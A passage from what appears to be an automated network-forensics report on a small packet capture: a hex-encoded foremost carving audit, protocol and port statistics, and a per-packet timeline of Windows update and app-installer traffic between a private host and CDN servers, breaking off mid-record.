6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6e 5f 35 6e 37 36 74 69 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 6a 74 6a 6b 69 77 39 5f 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 6e 5f 35 6e 37 36 74 69 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 31 30 20 4b 42 20 28 31 30 34 31 32 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a 0a 30 20 46 49 4c 45 53 20 45 58 54 52 41 43 54 45 44 0a 09 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 0a 46 6f 72 65 6d 6f 73 74 20 66 69 6e 69 73 68 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 34 3a 34 34 3a 35 37 20 32 30 32 36 0a\n2026-07-19T14:44:57.014131,Tool:scalpel/mp3-9-0,Unknown,0,Unknown,0,HTTP,00000000.mp3,mp3,/tmp/tmpjtjkiw9_/carved/scalpel/mp3-9-0/00000000.mp3,0,d41d8cd98f00b204e9800998ecf8427e,e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855,0.00,,\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,28,9335,100.00%,100.00%\n","network_analysis_http_graph.csv":"Timestamp,Stream ID,Source IP,Destination IP,Method,Host,URL,Referer,User-Agent\n0,1,10.152.152.11,85.208.10.201,GET,85.208.10.201,http://85.208.10.201,None,Extracted via Decryption\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n80,18,7273,32.14%,38.96%\n64008,16,5705,28.57%,30.56%\n443,10,2062,17.86%,11.04%\n64035,4,247,7.14%,1.32%\n64039,4,247,7.14%,1.32%\n64097,2,1568,3.57%,8.40%\n63963,2,1568,3.57%,8.40%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-07-19 09:00:20.374604,1,TCP 151.101.206.172:80 -> 10.152.152.11:64097,151.101.206.172,10.152.152.11,80,64097,TCP,The Netherlands,Amsterdam,54113,\"Fastly, Inc.\",52.3759,4.8975,151.101.204.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 206,bc2411360d0cbc24112907bb0800450005dcf002400040063c649765ceac0a98980b0050fa61eeb833d4263740515010003f0e840000485454502f312e3120323036205061727469616c20436f6e74656e740d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2036353533360d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a43616368652d436f6e74726f6c3a207075626c69632c206d61782d6167653d31373238303030300d0a4d532d436f7272656c6174696f6e49643a2034353361623938362d663262392d343263632d383837382d3762653831363234643338630d0a4d532d5265717565737449643a2064383631653837302d636237352d343035362d383863302d6462663238646161623063350d0a4d532d43563a20453861545074496947454b6959754d332e302e322e312e302e302e31302e312e312e322e312e312e312e300d0a436f6e74656e742d446973706f736974696f6e3a206174746163686d656e743b2066696c656e616d653d4d6963726f736f66742e4465736b746f70417070496e7374616c6c65725f323032362e3632332e313730342e305f6e65757472616c5f7e5f3877656b7962336438626277652e4d73697862756e646c650d0a4c6173742d4d6f6469666965643a205475652c203233204a756e20323032362032303a31353a303520474d540d0a455461673a2022634b6275445533353862376a574e74484b3055346c5439413079733d220d0a4163636570742d52616e6765733a2062797465730d0a446174653a2053756e2c203139204a756c20323032362030383a35363a313320474d540d0a5669613a20312e31207661726e6973680d0a4167653a20313538383133310d0a582d5365727665642d42793a2063616368652d72746d2d65687264323239303033382d52544d0d0a582d43616368653a204849540d0a582d43616368652d486974733a20323034320d0a582d54696d65723a2053313738343435313337342e3536353135342c5653302c5645300d0a582d4349443a20330d0a582d4343433a204e4c0d0a436f6e74656e742d52616e67653a2062797465732037373436333535322d37373532393038372f3231363737393135380d0a0d0aa41e800bdea37dddd0e6069dfe46ba3ebe635848812efbdd3febe0e221285f5e3f5248299f2b2e99588cf2aa74812f00c8b51ec99c17f18b79fbf4db14eb7ea05f86d97f2edbddc6b17dc3545ecf8d27daad28c4ae52f8c5a50c39a3c872d5e3642d31681d1b57427d5814b8017b81d691f5693c7901b6fb45a6bfa1b793c2b5ceea38ad7dd74f65c1ac6ece56a8efebef535669bf00ba79b5d751cdda4cc44a3eac98bf9db38e0cdf11666860fe93e7b9f3e3a11b675930b6e422a504af9c341446d46f5b5a45da7b37f47aadf7b4716bb486ad43939c5092921d7aef9023e8b28d4d575b5d7fc974f5875d446bbe645ed705cfd9976e1c6aae643b6ba88695ba6c7d184f14aba01db3c615f6ecdb8dc53c203dcdf7375d4e6ce62bc80a51bfbb39d51e9ec25761fa870024c14bd52203aea803a50abd3c0b12566a85e1f71dc9dc388c9b6fe5da15363612488c9ccdbc74edd3553fa7dff31e20d725bfcc26bda4959ba3f621307b856c8257e77225276c996ac29aa4e6ced7e7da751671fdfa11bec5597da2b9b19a88cf22d8dc7f18def57b1ce39a42b87d9fb056faa85743193f496284692256999f37fd831f14a549393f9d4412e46cd4b416ec2a89e8021f24378993806cb3485e6fe752fe560968984124e57cd4c79a82a69e4d084d97619d31db1a543273b63dd0aa8052986b978337132b04c0c540a7aa3295dd91c621cdb9035f5dd0e1dae1ebf2a08a5ebffb1d92e2a1ce002151213f67ee11a426313de58bed39bd72debba0073efb6d9ed5f30a92482a8a78184670e1aa0b4a950bc734a908737875600f732a2fde81eaa564bd8a8088ee2ba59b9e732fa7a1f0a29fd6b6d31496ed4bb2bb223740e34fae843a71553c08524eec53526fde45a7ce11b287012eb3a2deb581f665e6d062d12c,\"......}......F.>.cXH....?...!(_^?RH).+..X...t./.........y.....~._........}.T^..'..(..R....9..r..d-1h..WB}X...{....i<y...E.........8.}.Oe..n.V....SVi...y..Q..L.J>.........fh`........gY0..\"\"....4.F.o[ZE.{7.z...qk...C..P...z..#...MW[]..t..]Dk.d^.....n.j.d;k....l}.O............< =..7]Nl.+.\nQ..9....Wa...$.K.\"\".....\n.<..Vj......8..o...66.H....t..U?.... .%..&......!0{.l.W.r%'l.j........u.q.....Y}......\"\"......{...B.}..V..WC.?Ib.i\"\"V..7.....I9?.D..l....*....$7...l.H^o.R.V\th.A$.|......M.M.a.1..T2s.=...R.k..7.+...@..2....!..._]........^........!Q!?g...&1=...9.r....>.m...\n.H*.x.Fp...J...4..sxu`.s*/....d.....+...s/...........K..\"\"7@.O..:qU<.RN.SRo.E.............e..b.,\",[TSHARK-OBJECT] windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json%3fcacheHostOrigin=download.windowsupdate.com,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1500, \"\"id\"\": 61442, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 15460, \"\"src\"\": \"\"151.101.206.172\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64097, \"\"seq\"\": 4005049300, \"\"ack\"\": 641155153, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 3716, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"206\"\", \"\"Reason_Phrase\"\": \"\"Partial Content\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": \"\"bytes\"\", \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": null, \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": \"\"1588131\"\", \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": \"\"public, max-age=17280000\"\", \"\"Connection\"\": \"\"keep-alive\"\", \"\"Content_Disposition\"\": \"\"attachment; filename=Microsoft.DesktopAppInstaller_2026.623.1704.0_neutral_~_8wekyb3d8bbwe.Msixbundle\"\", \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"65536\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": \"\"bytes 77463552-77529087/216779158\"\", \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/octet-stream\"\", \"\"Date\"\": \"\"Sun, 19 Jul 2026 08:56:13 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": \"\"\\\"\"cKbuDU358b7jWNtHK0U4lT9A0ys=\\\"\"\"\", \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": \"\"Tue, 23 Jun 2026 20:15:05 GMT\"\", \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": \"\"1.1 varnish\"\", \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CorrelationId': b'453ab986-f2b9-42cc-8878-7be81624d38c', b'MS-RequestId': b'd861e870-cb75-4056-88c0-dbf28daab0c5', b'MS-CV': b'E8aTPtIiGEKiYuM3.0.2.1.0.0.10.1.1.2.1.1.1.0', b'X-Served-By': b'cache-rtm-ehrd2290038-RTM', b'X-Cache': b'HIT', b'X-Cache-Hits': b'2042', b'X-Timer': b'S1784451374.565154,VS0,VE0', b'X-CID': b'3', b'X-CCC': b'NL'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"a41e800bdea37dddd0e6069dfe46ba3ebe635848812efbdd3febe0e221285f5e3f5248299f2b2e99588cf2aa74812f00c8b51ec99c17f18b79fbf4db14eb7ea05f86d97f2edbddc6b17dc3545ecf8d27daad28c4ae52f8c5a50c39a3c872d5e3642d31681d1b57427d5814b8017b81d691f5693c7901b6fb45a6bfa1b793c2b5ceea38ad7dd74f65c1ac6ece56a8efebef535669bf00ba79b5d751cdda4cc44a3eac98bf9db38e0cdf11666860fe93e7b9f3e3a11b675930b6e422a504af9c341446d46f5b5a45da7b37f47aadf7b4716bb486ad43939c5092921d7aef9023e8b28d4d575b5d7fc974f5875d446bbe645ed705cfd9976e1c6aae643b6ba88695ba6c7d184f14aba01db3c615f6ecdb8dc53c203dcdf7375d4e6ce62bc80a51bfbb39d51e9ec25761fa870024c14bd52203aea803a50abd3c0b12566a85e1f71dc9dc388c9b6fe5da15363612488c9ccdbc74edd3553fa7dff31e20d725bfcc26bda4959ba3f621307b856c8257e77225276c996ac29aa4e6ced7e7da751671fdfa11bec5597da2b9b19a88cf22d8dc7f18def57b1ce39a42b87d9fb056faa85743193f496284692256999f37fd831f14a549393f9d4412e46cd4b416ec2a89e8021f24378993806cb3485e6fe752fe560968984124e57cd4c79a82a69e4d084d97619d31db1a543273b63dd0aa8052986b978337132b04c0c540a7aa3295dd91c621cdb9035f5dd0e1dae1ebf2a08a5ebffb1d92e2a1ce002151213f67ee11a426313de58bed39bd72debba0073efb6d9ed5f30a92482a8a78184670e1aa0b4a950bc734a908737875600f732a2fde81eaa564bd8a8088ee2ba59b9e732fa7a1f0a29fd6b6d31496ed4bb2bb223740e34fae843a71553c08524eec53526fde45a7ce11b287012eb3a2deb581f665e6d062d12c\"\"}}]\"\n2026-07-19 09:00:20.374923,2,TCP 10.152.152.11:64097 -> 151.101.206.172:80,10.152.152.11,151.101.206.172,64097,80,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,54113,\"Fastly, Inc.\",52.3759,4.8975,151.101.204.0/22,R,,,Ether > IP > TCP,3,TCP R Seq=641155153 Ack=641155153,bc24112907bbbc2411360d0c080045000028000c40008006f20e0a98980b9765ceacfa610050263740512637405150040000df680000,\".$.)...$.6\n...E..(..@.....\n....e...a.P&7@Q&7@QP....h..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 61966, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"151.101.206.172\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64097, \"\"dport\"\": 80, \"\"seq\"\": 641155153, \"\"ack\"\": 641155153, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"R\"\", \"\"window\"\": 0, \"\"chksum\"\": 57192, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:34.196427,3,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=1664658278 Ack=0,bc24112907bbbc2411360d0c080045000034a60f4000800651780a98980b55d00ac9fa0800506338ab66000000008002faf067eb0000020405b40103030801010402,\".$.)...$.6\n...E..4..@...Qx\n...U.\n....Pc8.f........g...............\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 42511, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20856, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658278, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 26603, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-19 09:00:34.196471,4,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2113370602 Ack=1664658279,bc2411360d0cbc24112907bb080045000034000040004006378855d00ac90a98980b0050fa087df779ea6338ab678012faf003630000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.7.U.\n.\n....P..}.y.c8.g.....c.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 14216, \"\"src\"\": \"\"85.208.10.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64008, \"\"seq\"\": 2113370602, \"\"ack\"\": 1664658279, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 867, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-19 09:00:34.196670,5,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=1664658279 Ack=2113370603,bc24112907bbbc2411360d0c080045000028a6104000800651830a98980b55d00ac9fa0800506338ab677df779eb50100402a7ba0000,\".$.)...$.6\n...E..(..@...Q.\n...U.\n....Pc8.g}.y.P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42512, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20867, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658279, \"\"ack\"\": 2113370603, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 42938, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 09:00:34.196707,6,TCP 10.152.152.11:64008 -> 85.208.10.201:80,10.152.152.11,85.208.10.201,64008,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,PA,,http://85.208.10.201/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com,bc24112907bbbc2411360d0c0800450001bda611400080064fed0a98980b55d00ac9fa0800506338ab677df779eb501804026c450000474554202f7068662f632f646f632f70682f70726f64352f6d73646f776e6c6f61642f7570646174652f736f6674776172652f736563752f323032352f30392f313032342f77696e646f777331302e302d6b62353036363133302d7836342d6e64703438315f303630343666656537653834666462323532626630646661306435313737326164613536303462652e6361622e6a736f6e3f6361636865486f73744f726967696e3d646f776e6c6f61642e77696e646f77737570646174652e636f6d20485454502f312e310d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a204d6963726f736f66742d44656c69766572792d4f7074696d697a6174696f6e2f31302e300d0a4d532d43563a2055384c634a70724350452b717533576e2e312e312e372e322e342e312e310d0a436f6e74656e742d4c656e6774683a20300d0a486f73743a2038352e3230382e31302e3230310d0a0d0a,\".$.)...$.6\n...E.....@...O.\n...U.\n....Pc8.g}.y.P...lE..GET /phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nAccept-Encoding: gzip, deflate\nUser-Agent: Microsoft-Delivery-Optimization/10.0\nMS-CV: U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1\nContent-Length: 0\nHost: 85.208.10.201\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 445, \"\"id\"\": 42513, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 20461, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"85.208.10.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64008, \"\"dport\"\": 80, \"\"seq\"\": 1664658279, \"\"ack\"\": 2113370603, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1026, \"\"chksum\"\": 27717, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/phf/c/doc/ph/prod5/msdownload/update/software/secu/2025/09/1024/windows10.0-kb5066130-x64-ndp481_06046fee7e84fdb252bf0dfa0d51772ada5604be.cab.json?cacheHostOrigin=download.windowsupdate.com\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": \"\"*/*\"\", \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": \"\"gzip, deflate\"\", \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": \"\"0\"\", \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"85.208.10.201\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-19 09:00:34.196712,7,TCP 85.208.10.201:80 -> 10.152.152.11:64008,85.208.10.201,10.152.152.11,80,64008,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,85.208.10.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2113370603 Ack=1664658684,bc2411360d0cbc24112907bb080045000028a41540004006937e55d00ac90a98980b0050fa087df779eb6338acfc5010003f03570000,\".$.6\n..$.)....E..(..@.@..~U.\n.\n....P..}.y.c8..P..?.W..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42005, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, 